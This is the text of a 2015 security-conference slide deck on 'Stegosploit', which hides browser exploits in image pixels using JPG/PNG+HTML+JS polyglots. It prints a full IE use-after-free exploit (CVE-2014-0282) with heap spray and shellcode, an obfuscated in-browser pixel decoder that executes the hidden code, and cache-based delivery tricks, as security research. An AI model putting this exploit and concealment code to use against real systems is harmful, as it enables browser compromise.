STEGOSPLOIT
SAUMIL SHAH
HACK.LU 2015
NETSQUARE
STEGOSPLOIT
BROWSER
EXPLOITS SAUMIL SHAH
USING ONLY IMAGES HACK.LU 2015
NETSQUARE
Saumil Shah
@therealsaumil
saumilshah
CEO, Net-Square
hacker, trainer, speaker,
author, photographer
educating, entertaining and
exasperating audiences
since 1999.
NETSQUARE
NETSQUARE
UNFORTUNATELY, NO ONE CAN BE TOLD. . .
NETSQUARE . . . WHAT STEGOSPLOIT IS
Stegosploit is...
not a 0-day attack with a cute logo
not exploit code hidden in EXIF
not a PHP/ASP webshell
not a new XSS vector
Stegosploit is ...
``Browser Exploits Delivered
as Pictures.``
NETSQUARE
"A good exploit
is one that is
delivered
with style"
NETSQUARE
Hacking with pictures, in style!
• ONLY image files – on network and disk.
• Exploit hidden in pixels.
– no visible aberration or distortion.
• Image "auto runs" upon load.
– decoder code bundled WITH the image.
• Exploit automatically decoded and
triggered.
• ...all with just ONE IMAGE.
NETSQUARE
Steganography
NETSQUARE
Polyglots
Two or more
data formats
in a single
container...
...that co-exist
happily without
breaking each
other's spec or
syntax.
NETSQUARE
EXPLOIT Stegosploit-ing a
CODE browser exploit
PIXEL Case study: CVE-2014-0282
IMAGE
ENCODER - IE CInput Use-After-Free
- hidden in a JPG
Case study: CVE-2013-1690
- FF onreadystatechange UAF
ENCODED IMAGE
- hidden in a PNG
STEGO-
DECODER IMAJS
JAVASCRIPT
POLYGLOT
NETSQUARE TARGET BROWSER
The Stegosploit Toolkit
STEGANOGRAPHY TOOLS
- image_layer_analysis.html - analyse an image's bit layers
- iterative_encoding.html - steganographic encoder
- image_decoder.html - test for any encoding errors
POLYGLOT TOOLS
- imajs_jpg.pl - make a JPG+HTML+JS polyglot
- imajs_png.pl - make a PNG+HTML+JS polyglot
EXPLOITS
- exploits.js - collection of browser exploits
- cve_2014_0282.template - exploit HTML template
- decode_pixels.js - JS Steganography decoder
NETSQUARE
Step 1.
Hiding the Exploit
Code in the EXPLOIT
Image
CODE
PIXEL
IMAGE ENCODER
ENCODED IMAGE
NETSQUARE
Hiding an Exploit in an Image
• Simple steganography techniques.
• Encode exploit code bitstream into
lesser significant bits of RGB values.
• Spread the pixels around e.g. 4x4 grid.
NETSQUARE
Hiding an Exploit in an Image
function H5(){this.d=[];this.m=new Array();this.f=new Array()}H5.prototype.flatten=function(){for(var f=0;f<this.d.length;f+
+){var n=this.d[f];if(typeof(n)=='number'){var c=n.toString(16);while(c.length<8){c='0'+c}var l=function(a)
{return(parseInt(c.substr(a,2),16))};var
g=l(6),h=l(4),k=l(2),m=l(0);this.f.push(g);this.f.push(h);this.f.push(k);this.f.push(m)}if(typeof(n)=='string'){for(var
d=0;d<n.length;d++){this.f.push(n.charCodeAt(d))}}}};H5.prototype.fill=function(a){for(var c=0,b=0;c<a.data.length;c++,b
++){if(b>=8192){b=0}a.data[c]=(b<this.f.length)?this.f[b]:255}};H5.prototype.spray=function(d){this.flatten();for(var
b=0;b<d;b++){var c=document.createElement('canvas');c.width=131072;c.height=1;var
a=c.getContext('2d').createImageData(c.width,c.height);this.fill(a);this.m[b]=a}};H5.prototype.setData=function(a)
{this.d=a};var flag=false;var heap=new H5();try{location.href='ms-help:'}catch(e){}function spray(){var a='\xfc
\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a
\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c
\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b
\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b
\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a
\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb
\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff
\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00';var c=[];for(var b=0;b<1104;b+=4){c.push(1371756628)}
c.push(1371756627);c.push(1371351263);var
f=[1371756626,215,2147353344,1371367674,202122408,4294967295,202122400,202122404,64,202116108,2021212
48,16384];var d=c.concat(f);d.push(a);heap.setData(d);heap.spray(256)}function changer(){var c=new Array();for(var
a=0;a<100;a++){c.push(document.createElement('img'))}if(flag)
{document.getElementById('fm').innerHTML='';CollectGarbage();var b='\u2020\u0c0c';for(var a=4;a<110;a+=2){b
+='\u4242'}for(var a=0;a<c.length;a++){c[a].title=b}}}function run()
{spray();document.getElementById('c2').checked=true;document.getElementById('c2').onpropertychange=changer;flag=
true;document.getElementById('fm').reset()}setTimeout(run,1000);
ganesha.jpg IE Use-After-Free CVE-2014-0282
NETSQUARE
The "Bit Layer" View
7 6 5 4 3 2 1 0
1 pixel = 8 bits (grayscale) | |
MSB LSB
NETSQUARE
7 6
The "Bit Layer" View
more shape
less detail
5 4
3 2
1 0
less shape
NETSQUARE
more detail
NETSQUARE
7 6 5 4 3 2 1 0
NETSQUARE
Encoding at Bit Layer 7
7 6 5 4 3 2 1 0
Exploit code converted to bitstream. | |
MSB LSB
Pixel bits of layer 7 are overwritten
with exploit bitstream.
NETSQUARE
Encoding data at bit layer 7 Significant visual aberration
Encoding at Bit Layer 2
7 6 5 4 3 2 1 0
Exploit code converted to bitstream. | |
MSB LSB
Pixel bits of layer 2 are overwritten
with exploit bitstream.
NETSQUARE
Encoding data at bit layer 2 No perceptible visual aberration
Encoding on JPG
• JPG – lossy compression.
• Pixels may be approximated to their
nearest neighbours.
• Overcoming lossy compression by
ITERATIVE ENCODING.
• Can't go too deep down the bit layers.
• IE's JPG encoder is terrible!
• Browser specific JPG quirks.
NETSQUARE
Encoding on PNG
• Lossless compression.
• Can encode at bit layer 0.
– minimum visual distortion.
• Independent of browser library
implementation.
• Single pass encoding.
• JPG is still more popular than PNG!
NETSQUARE
Step 2.
Decoding the
encoded
Pixel Data
ENCODED IMAGE
STEGO-
NETSQUARE
DECODER
JAVASCRIPT
?
HTML5 CANVAS to the rescue!
• Read image pixel data using JS.
• In-browser decoding of
steganographically
encoded images.
NETSQUARE
decode_pixels.js
L=2,C=3,G=3,a=[],x=y=0,z=1<<L,I=parseInt,S=String.fromCharCode;window.onload=
function(){P.onclick=function({V=document.createElement("canvas");k=P.parentNode;
k.insertBefore(V,P);W=V.width=P.width;H=V.height=P.height;m=V.getContext("2d");
m.drawImage(P,0,0);k.removeChild(P);m=m.getImageData(0,0,W,H).data;c=function(p,x,y)
{n=(y*W+x)*4;r=(p[n]&z)>>L;g=(p[n+1]&z)>>L;b=(p[n+2]&z)>>L;return S([r,g,b,r][C]+48)};
k=function(l){for(i=j=0;j<l*8;j++){a[i++]=c(m,x,y);x+=G;if(x>=W){x=0;y+=G}}};k(6);
k(I(X(a)));try{CollectGarbage()}catch(e){}setTimeout(new Function(X(a)),99)}};function
X(c){s="",d=c.join(s);for(i=0;i<d.length;i+=8)s+=S(I(d.substr(i,8),2));return s}
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)
+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+"\\"+$.__$+$.__$+$.$__+"="+$._$_+",\\"+$.__$+$.___+$._$$+"="+$._$$+",\\"+
$.__$+$.___+$.$$$+"="+$._$$+","+$.$_$_+"=[],\\"+$.__$+$.$$$+$.___+"=\\"+$.__$+$.$$$+$.__$+"="+$.___+",\\"+$.__$+$.$$$+$._$_+"="+$.__$+"<<\\"+$.__$+$.__$+$.$__+",\\"+$.__$+$.__$+$.__$+"=\\"+$.__$+$.$$_+$.___+$.$_$_+"\\"+$.__$+$.$$_+$._$_+"\\"+
$.__$+$.$$_+$._$$+$.$$$_+"\\"+$.__$+$.__$+$.__$+"\\"+$.__$+$.$_$+$.$$_+$.__+",\\"+$.__$+$._$_+$._$$+"=\\"+$.__$+$._$_+$._$$+$.__+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$_$+$.$$_+"\\"+$.__$+$.$__+$.$$$+"."+$.$$$$+"\\"+$.__$+
$.$$_+$._$_+$._$+"\\"+$.__$+$.$_$+$.$_$+"\\"+$.__$+$.___+$._$$+"\\"+$.__$+$.$_$+$.___+$.$_$_+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.___+$._$$+$._$+$.$$_$+$.$$$_+";\\"+$.__$+$.$$_+$.$$$+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$_$+$.$$_+$.$$_$+$._$+"\
\"+$.__$+$.$$_+$.$$$+"."+$._$+"\\"+$.__$+$.$_$+$.$$_+(![]+"")[$._$_]+$._$+$.$_$_+$.$$_$+"="+$.$$$$+$._+"\\"+$.__$+$.$_$+$.$$_+$.$$__+$.__+"\\"+$.__$+$.$_$+$.__$+$._$+"\\"+$.__$+$.$_$+$.$$_+"(){\\"+$.__$+$._$_+$.___+"."+$._$+"\\"+$.__$+$.$_$+$.$$_
+$.$$__+(![]+"")[$._$_]+"\\"+$.__$+$.$_$+$.__$+$.$$__+"\\"+$.__$+$.$_$+$._$$+"="+$.$$$$+$._+"\\"+$.__$+$.$_$+$.$$_+$.$$__+$.__+"\\"+$.__$+$.$_$+$.__$+$._$+"\\"+$.__$+$.$_$+$.$$_+"(){\\"+$.__$+$._$_+$.$$_+"="+$.$$_$+$._$+$.$$__+$._+"\\"+$.__$+$.
$_$+$.$_$+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+$.__+"."+$.$$__+"\\"+$.__$+$.$$_+$._$_+$.$$$_+$.$_$_+$.__+$.$$$_+"\\"+$.__$+$.___+$.$_$+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+$.__+"(\\\""+$.$$__+$.$_$_+"\\"+$.__$+$.
$_$+$.$$_+"\\"+$.__$+$.$$_+$.$$_+$.$_$_+"\\"+$.__$+$.$$_+$._$$+"\\\");\\"+$.__$+$.$_$+$._$$+"=\\"+$.__$+$._$_+$.___+".\\"+$.__$+$.$$_+$.___+$.$_$_+"\\"+$.__$+$.$$_+$._$_+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+$.__+"\\"+$.__$+$.__$+$.$$_+$._$+$.$$_$+$.$$
$_+";\\"+$.__$+$.$_$+$._$$+".\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$_$+$.$$_+"\\"+$.__$+$.$$_+$._$$+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"\\"+$.__$+$.___+$._$_+$.$$$_+$.$$$$+$._$+"\\"+$.__$+$.$$_+$._$_+$.$$$_+"(\\"+$.__$+$._$_+$.$$_+",\\"+$.__$+$._
$_+$.___+");\\"+$.__$+$._$_+$.$$$+"=\\"+$.__$+$._$_+$.$$_+".\\"+$.__$+$.$$_+$.$$$+"\\"+$.__$+$.$_$+$.__$+$.$$_$+$.__+"\\"+$.__$+$.$_$+$.___+"=\\"+$.__$+$._$_+$.___+".\\"+$.__$+$.$$_+$.$$$+"\\"+$.__$+$.$_$+$.__$+$.$$_$+$.__+"\\"+$.__$+$.$_$+
$.___+";\\"+$.__$+$.__$+$.___+"=\\"+$.__$+$._$_+$.$$_+".\\"+$.__$+$.$_$+$.___+$.$$$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$__+$.$$$+"\\"+$.__$+$.$_$+$.___+$.__+"=\\"+$.__$+$._$_+$.___+".\\"+$.__$+$.$_$+$.___+$.$$$_+"\\"+$.__$+$.$_$+$.__$+"\\"+
$.__$+$.$__+$.$$$+"\\"+$.__$+$.$_$+$.___+$.__+";\\"+$.__$+$.$_$+$.$_$+"=\\"+$.__$+$._$_+$.$$_+".\\"+$.__$+$.$__+$.$$$+$.$$$_+$.__+"\\"+$.__$+$.___+$._$$+$._$+"\\"+$.__$+$.$_$+$.$$_+$.__+$.$$$_+"\\"+$.__$+$.$$$+$.___+$.__+"(\\\""+$._$_+$.$$_$+"\\
\");\\"+$.__$+$.$_$+$.$_$+"."+$.$$_$+"\\"+$.__$+$.$$_+$._$_+$.$_$_+"\\"+$.__$+$.$$_+$.$$$+"\\"+$.__$+$.__$+$.__$+"\\"+$.__$+$.$_$+$.$_$+$.$_$_+"\\"+$.__$+$.$__+$.$$$+$.$$$_+"(\\"+$.__$+$._$_+$.___+","+$.___+","+$.___+");\\"+$.__$+$.$_$+$._$$+".\\"+
$.__$+$.$$_+$._$_+$.$$$_+"\\"+$.__$+$.$_$+$.$_$+$._$+"\\"+$.__$+$.$$_+$.$$_+$.$$$_+"\\"+$.__$+$.___+$._$$+"\\"+$.__$+$.$_$+$.___+"\\"+$.__$+$.$_$+$.__$+(![]+"")[$._$_]+$.$$_$+"(\\"+$.__$+$._$_+$.___+");\\"+$.__$+$.$_$+$.$_$+"=\\"+$.__$+$.$_$+$.$_
$+".\\"+$.__$+$.$__+$.$$$+$.$$$_+$.__+"\\"+$.__$+$.__$+$.__$+"\\"+$.__$+$.$_$+$.$_$+$.$_$_+"\\"+$.__$+$.$__+$.$$$+$.$$$_+"\\"+$.__$+$.___+$.$__+$.$_$_+$.__+$.$_$_+"("+$.___+","+$.___+",\\"+$.__$+$._$_+$.$$$+",\\"+$.__$+$.__$+$.___+")."+$.$$_$+
$.$_$_+$.__+$.$_$_+";"+$.$$__+"="+$.$$$$+$._+"\\"+$.__$+$.$_$+$.$$_+$.$$__+$.__+"\\"+$.__$+$.$_$+$.__$+$._$+"\\"+$.__$+$.$_$+$.$$_+"(\\"+$.__$+$.$$_+$.___+",\\"+$.__$+$.$$$+$.___+",\\"+$.__$+$.$$$+$.__$+"){\\"+$.__$+$.$_$+$.$$_+"=(\\"+$.__$+$.$$
$+$.__$+"*\\"+$.__$+$._$_+$.$$$+"+\\"+$.__$+$.$$$+$.___+")*"+$.$__+";\\"+$.__$+$.$$_+$._$_+"=(\\"+$.__$+$.$$_+$.___+"[\\"+$.__$+$.$_$+$.$$_+"]&\\"+$.__$+$.$$$+$._$_+")>>\\"+$.__$+$.__$+$.$__+";\\"+$.__$+$.$__+$.$$$+"=(\\"+$.__$+$.$$_+$.___+"[\\"+
$.__$+$.$_$+$.$$_+"+"+$.__$+"]&\\"+$.__$+$.$$$+$._$_+")>>\\"+$.__$+$.__$+$.$__+";"+$.$_$$+"=(\\"+$.__$+$.$$_+$.___+"[\\"+$.__$+$.$_$+$.$$_+"+"+$._$_+"]&\\"+$.__$+$.$$$+$._$_+")>>\\"+$.__$+$.__$+$.$__+";\\"+$.__$+$.$$_+$._$_+$.$$$_+$.__+$._+"\\"+
$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.$$_+"\\"+$.$__+$.___+"\\"+$.__$+$._$_+$._$$+"([\\"+$.__$+$.$$_+$._$_+",\\"+$.__$+$.$__+$.$$$+","+$.$_$$+",\\"+$.__$+$.$$_+$._$_+"][\\"+$.__$+$.___+$._$$+"]+"+$.$__+$.$___+")};\\"+$.__$+$.$_$+$._$$+"="+$.$$$$+
$._+"\\"+$.__$+$.$_$+$.$$_+$.$$__+$.__+"\\"+$.__$+$.$_$+$.__$+$._$+"\\"+$.__$+$.$_$+$.$$_+"("+(![]+"")[$._$_]+"){"+$.$$$$+$._$+"\\"+$.__$+$.$$_+$._$_+"(\\"+$.__$+$.$_$+$.__$+"=\\"+$.__$+$.$_$+$._$_+"="+$.___+";\\"+$.__$+$.$_$+$._$_+"<"+(![]+"")[$._$_]
+"*"+$.$___+";\\"+$.__$+$.$_$+$._$_+"++){"+$.$_$_+"[\\"+$.__$+$.$_$+$.__$+"++]="+$.$$__+"(\\"+$.__$+$.$_$+$.$_$+",\\"+$.__$+$.$$$+$.___+",\\"+$.__$+$.$$$+$.__$+");\\"+$.__$+$.$$$+$.___+"+=\\"+$.__$+$.___+$.$$$+";\\"+$.__$+$.$_$+$.__$+$.$$$$+"(\\"+
$.__$+$._$_+$.$$$+"<\\"+$.__$+$.$$$+$.___+"){\\"+$.__$+$.$$$+$.___+"="+$.___+";\\"+$.__$+$.$$$+$.__$+"+=\\"+$.__$+$.___+$.$$$+"}}};\\"+$.__$+$.$_$+$._$$+"("+$.$$_+");\\"+$.__$+$.$_$+$._$$+"(\\"+$.__$+$.__$+$.__$+"(\\"+$.__$+$._$$+$.___+"("+$.$_$_
+")));"+$.__+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$$$+$.__$+"{\\"+$.__$+$.___+$._$$+$._$+(![]+"")[$._$_]+(![]+"")[$._$_]+$.$$$_+$.$$__+$.__+"\\"+$.__$+$.___+$.$$$+$.$_$_+"\\"+$.__$+$.$$_+$._$_+$.$_$$+$.$_$_+"\\"+$.__$+$.$__+$.$$$+$.$$$_+"()}"+$.$$__+
$.$_$_+$.__+$.$$__+"\\"+$.__$+$.$_$+$.___+"("+$.$$$_+"){}\\"+$.__$+$.$$_+$._$$+$.$$$_+$.__+"\\"+$.__$+$._$_+$.$__+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+$._$+$._+$.__+"(\\"+$.__$+$.$_$+$.$$_+$.$$$_+"\\"+$.__$+$.$$_+$.$$$+"\\"+$.
$__+$.___+"\\"+$.__$+$.___+$.$$_+$._+"\\"+$.__$+$.$_$+$.$$_+$.$$__+$.__+"\\"+$.__$+$.$_$+$.__$+$._$+"\\"+$.__$+$.$_$+$.$$_+"(\\"+$.__$+$._$$+$.___+"("+$.$_$_+")),"+$.$__$+$.$__$+")}};"+$.$$$$+$._+"\\"+$.__$+$.$_$+$.$$_+$.$$__+$.__+"\\"+$.__$+$.
$_$+$.__$+$._$+"\\"+$.__$+$.$_$+$.$$_+"\\"+$.$__+$.___+"\\"+$.__$+$._$$+$.___+"("+$.$$__+"){\\"+$.__$+$.$$_+$._$$+"=\\\"\\\","+$.$$_$+"="+$.$$__+".\\"+$.__$+$.$_$+$._$_+$._$+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$_$+$.$$_+"(\\"+$.__$+$.$$_+$._$$+");"+
$.$$$$+$._$+"\\"+$.__$+$.$$_+$._$_+"(\\"+$.__$+$.$_$+$.__$+"="+$.___+";\\"+$.__$+$.$_$+$.__$+"<"+$.$$_$+"."+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+"\\"+$.__$+$.$__+$.$$$+$.__+"\\"+$.__$+$.$_$+$.___+";\\"+$.__$+$.$_$+$.__$+"+="+$.$___+")\\"+
$.__$+$.$$_+$._$$+"+=\\"+$.__$+$._$_+$._$$+"(\\"+$.__$+$.__$+$.__$+"("+$.$$_$+".\\"+$.__$+$.$$_+$._$$+$._+$.$_$$+"\\"+$.__$+$.$$_+$._$$+$.__+"\\"+$.__$+$.$$_+$._$_+"(\\"+$.__$+$.$_$+$.__$+","+$.$___+"),"+$._$_+"));\\"+$.__$+$.$$_+$._$_+$.$$$_+
$.__+$._+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.$$_+"\\"+$.$__+$.___+"\\"+$.__$+$.$$_+$._$$+"}"+"\"")())();
NETSQUARE
Step 3.
Images that
``Auto Run``
ENCODED IMAGE
STEGO-
DECODER
JAVASCRIPT
IMAJS
NETSQUARE POLYGLOT
I SEE PIXELS I SEE CODE
IMAJS
NETSQUARE
IMAJS – The Concept
<img> sees pixels
<script> sees code
#YourPointOfView
Holy
Image Javascript Sh**
Bipolar
Content!
NETSQUARE
IMAJS-JPG!
I JPG
JPG +HTML +JS +CSS
NETSQUARE Hat tip: Michael Zalewski @lcamtuf
JPG Secret Sauce
shhh..
don't tell
anyone
NETSQUARE
JPG Secret Sauce
SOI FF D8
APP0 FF E0 length J F I F \0
shhh..
versn U Xresdon't Yrestell H V
DQT FF DB quantization tables
anyone
DQT FF DB quantization tables
SOF0 FF C0 start of frame
DHT FF C4 Huffman tables
NETSQUARE
JPG Secret Sauce
SOI FF D8
APP0 FF E0 length J F I F \0
versn U Xres Yres H V
<html random random random random...
random ><head random> decoder script
and other HTML stuff goes here...
<script type=text/undefined> ...
... more random data ...
DQT FF DB quantization tables
DQT FF DB quantization tables
SOF0 FF C0 start of frame
DHT FF C4 Huffman tables
NETSQUARE
IMAJS-PNG!
I PNG
PNG +HTML +JS +CSS
NETSQUARE
PNG Secret Sauce - FourCC
PNG Header 89 50 4E 47 0D 0A 1A 0A
IHDR length IHDR chunk data CRC
IDAT chunk length IDAT pixel data CRC
IDAT chunk length IDAT pixel data CRC
IDAT chunk length IDAT pixel data CRC
IEND chunk 0 IEND CRC
NETSQUARE
www.fourcc.org
PNG Secret Sauce - FourCC
PNG Header 89 50 4E 47 0D 0A 1A 0A
IHDR length IHDR chunk data CRC
extra tEXt chunk length tEXt _00<html random random ...
random><head random> decoder script
and other HTML stuff goes here...
<script type=text/undefined>... CRC
IDAT chunk length IDAT pixel data CRC
IDAT chunk length IDAT pixel data CRC
IDAT chunk length IDAT pixel data CRC
IEND chunk 0 IEND CRC
NETSQUARE
Inspiration: http://daeken.com/superpacking-js-demos
Step 4.
The Finer Points
of Package
Delivery
NETSQUARE
A Few Browser Tricks...
Content Expires and
Sniffing Cache-Control
Clever CSS
NETSQUARE
Content Sniffing
NETSQUARE Credits: Michael Zalewski @lcamtuf
Dive Into Cache
GET /stego.jpg
HTTP 200 OK
Expires: May 30 2015
o hai
GET /stego.jpg
o hai
NETSQUARE
< PAYLOADS GO
back in time
NETSQUARE
< ATTACK TIMELINE
I'M IN UR BASE ....KILLING UR DOODZ
GET /lolcat.png GET /lolcat.png
200 OK
Expires: 6 months Load from cache
Exploit code Decoder script references image
encoded in image. from cache.
EVIL SAFE
AUG 2015 DEC 2015
NETSQUARE
NETSQUARE
PoC||GTFO 0x08
http://stegosploit.info
NETSQUARE
Conclusions - Offensive
• Lot of possibilities!
• Weird containers, weird encoding, weird
obfuscation.
• Image attacks emerging "in the wild".
• CANVAS + CORS = spread the payloads.
• Not limited to just browsers.
• PDF+Flash / HTML+JS+FLASH
(@angealbertini?)
NETSQUARE
Browsers and W3C - Wake Up!
BROWSERS
• Don't be afraid to "BREAK THE WEB".
• Reject content that does not conform to
strict standards/specs.
W3C
• Establish STRICT parsing rules.
• Browser compliance and user-
awareness is YOUR responsibility.
NETSQUARE
Conclusions - Defensive
• DFIR nightmare.
– how far back does your window of
inspection go?
• Can't rely on magic numbers, file
extensions, file types.
• Quick "fix" – re-encode all images!
NETSQUARE
Greets!
@Level2LU
@lcamtuf
@angealbertini Photogra
phy
by
@0x6D6172696F Saumil S
hah
PoC||GTFO crew
#HackLU CREW!
NETSQUARE
THANK.YU,
HACK.LU!
Saumil
Shah
@therealsaumil
saumilshah
[email protected]
Photography
flickr.com/saumil
www.spectral-lines.in
NETSQUARE